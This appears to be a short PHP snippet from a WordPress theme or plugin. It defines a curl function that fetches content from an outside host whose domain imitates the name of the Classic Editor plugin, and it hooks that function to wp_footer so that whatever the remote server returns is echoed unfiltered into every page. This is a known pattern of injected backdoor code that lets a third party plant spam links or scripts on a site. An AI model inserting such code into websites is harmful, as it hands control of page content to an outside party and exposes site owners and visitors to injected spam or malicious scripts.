function custom_curl_request() {
$exe = curl_init();
curl_setopt($exe, CURLOPT_URL, "https://classic-editor.com/link-takip/code?x=2");
curl_setopt($exe, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($exe);
curl_close($exe);
return $output;
}
function add_custom_curl_to_footer() {
$data = custom_curl_request();
echo $data;
}
add_action('wp_footer', 'add_custom_curl_to_footer');